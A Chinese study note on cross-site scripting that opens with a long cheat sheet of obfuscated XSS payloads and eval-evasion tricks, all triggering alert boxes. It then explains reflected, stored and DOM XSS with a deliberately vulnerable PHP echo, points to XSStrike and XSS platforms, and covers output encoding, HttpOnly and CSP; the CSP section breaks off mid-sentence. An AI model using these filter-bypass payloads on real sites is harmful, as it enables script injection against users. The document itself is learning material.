常见payload

 <script>prompt(1)</script>
 <script>confirm(1)</script>
 <script>
 var fn=window[490837..toString(1<<5)];
 fn(atob('YWxlcnQoMSk='));
 </script>
 <script>
 var fn=window[String.fromCharCode(101,118,97,108)];
 fn(atob('YWxlcnQoMSk='));
 </script>
 <script>
 var fn=window[atob('ZXZhbA==')];
 fn(atob('YWxlcnQoMSk='));
 </script>
 <script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script>
 <script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script>
 <script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script>
 <script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>
 <script>'str1ng'.replace(/1/,alert)</script>
 <script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script>
 <script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/, function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>
 <script>eval('\\u'+'0061'+'lert(1)')</script>
 <script>throw~delete~typeof~prompt(1)</script>
 <script>delete[a=alert]/prompt a(1)</script>
 <script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script>
 <script>(()=>{return this})().alert(1)</script>
 <script>new function(){new.target.constructor('alert(1)')();}</script>
 <script>Reflect.construct(function(){new.target.constructor('alert(1)')()},[])</script>
 <link/rel=prefetch
import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
 <link rel="import" href="data:x,<script>alert(1)</script>
 <script>Array.from`1${alert}3${window}2`</script>
 <script>!{x(){alert(1)}}.x()</script>
 <script>Array.from`${eval}alert\`1\``</script>
 <script>Array.from([1],alert)</script>
 <script>Promise.reject("1").then(null,alert)</script>
 <svg </onload ="1> (_=alert,_(1)) "">
 javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
 <marquee loop=1 width=0 onfinish=alert(1)>
 <p onbeforescriptexecute="alert(1)"><svg><script>\</p>
 <img onerror=alert(1) src <u></u>
 <videogt;<source onerror=javascript:prompt(911)gt;
 <base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>
 <base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)">
 <style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <
 <script>```${``[class extends[alert``]{}]}```</script>
 <script>[class extends[alert````]{}]</script>
 <script>throw new class extends Function{}('alert(1)')``</script>
 <script>x=new class extends Function{}('alert(1)'); x=new x;</script>
 <script>new class extends alert(1){}</script>
 <script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>
 <script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script>
 <script src=data:,\u006fnerror=\u0061lert(1)></script>
 "><svg><script/xlink:href="data:,alert(1)
 <svg><script/xlink:href=data:,alert(1)></script>
 <frameset/onpageshow=alert(1)>
 <div onactivate=alert('Xss') id=xss style=overflow:scroll>
 <div onfocus=alert('xx') id=xss style=display:table>
img onerror 姿势
<img onerror="location='javascript:=lert(1)'" src="x">
<img onerror="location='javascript:%61lert(1)'" src="x">
<img onerror="location='javascript:\x2561lert(1)'" src="x">
<img onerror="location='javascript:\x255Cu0061lert(1)'" src="x" >
eval 姿势
/***********************/
/* Encoded eval string */
/***********************/
<script>
var eval_b64 = 'ZXZhbA==';
var eval_charcode = 'String.fromCharCode(101,118,97,108)';
var eval_base32 = '490837..toString(1<<5)';
var eval_non_alpha1 = '(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]';
var eval_non_alpha2 = '(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]])';
</script>

/*********************/
/* Through functions */
/*********************/
<script>
var fn=window[atob('ZXZhbA==')];
fn(/*code to eval()/*);
</script>

<script>
var fn=window[String.fromCharCode(101,118,97,108)];
fn(/*code to eval()/*);
</script>

<script>
var fn=window[490837..toString(1<<5)];
fn(/*code to eval()/*);
</script>

/**********************************/
/* Straight through window object */
/**********************************/
<script>
window[atob('ZXZhbA==')](/*code to eval()*/)
</script>

<script>
window[String.fromCharCode(101,118,97,108)](/*code to eval()*/)
</script>

<script>
window[490837..toString(1<<5)](/*code to eval()*/)
</script>

<script>
window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

<script>
window[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

/*************************/
/* Straight through this */
/*************************/
<script>
this[atob('ZXZhbA==')](/*code to eval()*/)
</script>

<script>
this[String.fromCharCode(101,118,97,108)](/*code to eval()*/)
</script>

<script>
this[490837..toString(1<<5)](/*code to eval()*/)
</script>

<script>
this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

<script>
this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

/****************/
/* regexp based */
/****************/
<script>
'e1v2a3l'.replace(/(.).(.).(.).(.)/, function(match,$1,$2,$3,$4) { this[$1+$2+$3+$4](/* code to eval() */); })
</script>

/*********************************/
/* Other ways to execute strings */
/*********************************/
<script>
delete /* code to execute */
throw~delete~typeof~/* code to execute */
delete[a=/* function */]/delete a(/* params */)
var a = (new function(/* code to execute */))();
</script>

bGMDdf.png

分为三种:反射型XSS,存储型XSS,DOM型XSS

评论区,url,留言,搜索框,登录框,参数可以插入尝试攻击

原理,执行流程

反射型XSS
<?php
echo $_GET['x'];
?>

我们传入就会弹窗

http://localhost:63342/item.php/item.php?x=%3Cscript%3Ealert(1)%3C/script%3E

Iwvzan.png

存储型XSS

服务器端将用户输入的恶意脚本没有通过验证就直接存储在数据库,并且每次通过调用数据库的方式,将数据呈现

在浏览器上

DOM型XSS

射型和存储型都是通过后台输出,我们可以从源代码中看到输入点就是源码中的input标签,DOM型的XSS漏洞通

过了解我们可以知道是纯前端的漏洞,可以操作html的标签来更改dom树

IwxaJP.png

见dvwa靶场和xss-labs靶场

XSStrike原理

github地址

I0pixf.png

源码学习暂时留坑

实战测试,实际效果

https://www.cnblogs.com/xuehen/p/4814237.html

觉得可疑的地方直接先插入简单的xss,再试一试xsstrike

<script>alert(1)</script>
onfocus=javascript:alert(1)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

github小项目

原up的github地址找不到了,https://wwe.lanzouj.com/iHrAR01l1h2d

具体看这个项目了

高度武器化

xssstrike

xss平台

xss代码大全

防御

#    1. 客户端数据传递给服务器之前,先检验过滤
第一条就是前端输入防御,在前端代码中限制输入的内容,但是可以通过抓包后改包绕过
#    2. 服务器接收到数据,在存储到数据库之前,做一次过滤
第二条可以通过html实体编码,比如将>转换为&gt;,将<转换为&lt;
#    3. 前端接收到服务器传递过来的数据,在展示到页面前,进行一次过滤
第三条是把输出中含有的恶意代码实体编码输出防御,dom xss只有1,所以必须在前端尽可能的防御住

-------------------对输入(和URL参数)进行过滤,对输出进行编码------------------------

HttpOnly

如果HTTP响应头中包含HttpOnly标志,只要浏览器支持HttpOnly标志,客户端脚本就无法访问cookie。因此,即使存在跨站点脚本(XSS)缺陷,且用户意外访问利用此漏洞的链接,浏览器也不会向第三方透露cookie。如果浏览器不支持HttpOnly并且网站尝试设置HttpOnly cookie,浏览器会忽略HttpOnly标志,从而创建一个传统的,脚本可访问的cookie

输入检查

最好是白名单,同时在客户端JavaScript中和服务器代码中实现相同的输入检查,客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源

比如<>?等敏感字符

替换成gt;等类似

比如 script js的敏感字符

XSS Filter

输出检查
安全的编码函数

至少要对以下字符进行编码,htmlencode

I0i4hj.png

在PHP中,有htmlentites()和htmlspecialchars()两个函数可以满足安全要求

相应的,JavaScript的编码方式可以使用JavaScriptEncode。

在HTML标签中输出
<div><script>alert(/xss/)</script></div>

防御:htmlencode

在HTML属性中输出
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

防御:htmlencode

在OWASP ESAPI 中推荐了一种更严格的 HtmlEcode---除了字母、数字外,其他所有的特殊字符都被编码成HTMLEntities。

String safe = ESPI.encoder().encodeForHTMLAttribute(request.getParameter("input"));
在script标签中输出
<script>
var x = "";alert(/xss/);//";
</script>

防御时使用JavascriptEncode

在事件中输出
<a href=# onclick="funcA('');alert(/xss/);//')" >test</a>

防御时使用JavascriptEncode

在CSS中输出

I0FQDf.png

尽可能禁止用户可控制的变量在 ”标签"、”HTML 标签的 style 属性“ 以及 ”CSS 文件“ 中输出。如果一定有这样的需求,则推荐使用 OWASP ESAPI 中的 encodeForCSS()函数

在地址中输出
<a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a>

url编码

<a href="http://www.evil.com/?test=%22%20onclick%3balert%281%29%22" >test</a>
处理富文本

指定某些特殊编码为白名单

攻击

找输入点:比如url,留言板,评论等处

找输出:先输入1之后,看源代码发现1输出在哪里,通过观察哪里构造payload

构造payload:

针对反射性xss和存储型xss

如果第二部是在html标签,属性,script标签,事件,css,url中输出的话都可以通过闭合等方式插入代码,可能会有htmlencode,JavaScriptencode,cssencode,urlencode,后端输出还会配合html函数:比如htmlentitles,htmlspecialchars等

针对dom型xss

如果输出到html需要htmlencode,输出到javascript需要javascriptencode

绕过CSP策略

一个CSP头由多组CSP策略组成

Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'

其中每一组策略包含一个策略指令和一个内容源列表

常用的策略指令
  • default-src

default-src 指令定义了那些没有被更精确指令指定的安全策略。这些指令包括:

  • child-src

  • connect-src

  • font-src

  • img-src

  • media-src

  • object-src

  • script-src

  • style-src

  • script-src

script-src定义了页面中Javascript的有效来源

  • style-src

style-src定义了页面中CSS样式的有效来源

  • img-src

img-src定义了页面中图片和图标的有效来源

  • font-src

font-src定义了字体加载的有效来源

  • connect-src

connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。

  • child-src

child-src 指定定义了 web workers 以及嵌套的浏览上下文(如和

内容源:

内容源有三种:源列表、关键字和数据

  • 源列表:指定地址
  • 关键字:
    none

    代表空集;即不匹配任何 URL。两侧单引号是必须的。

    'self' 代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。

    'unsafe-inline' 允许使用内联资源,如内联的

results matching ""

    No results matching ""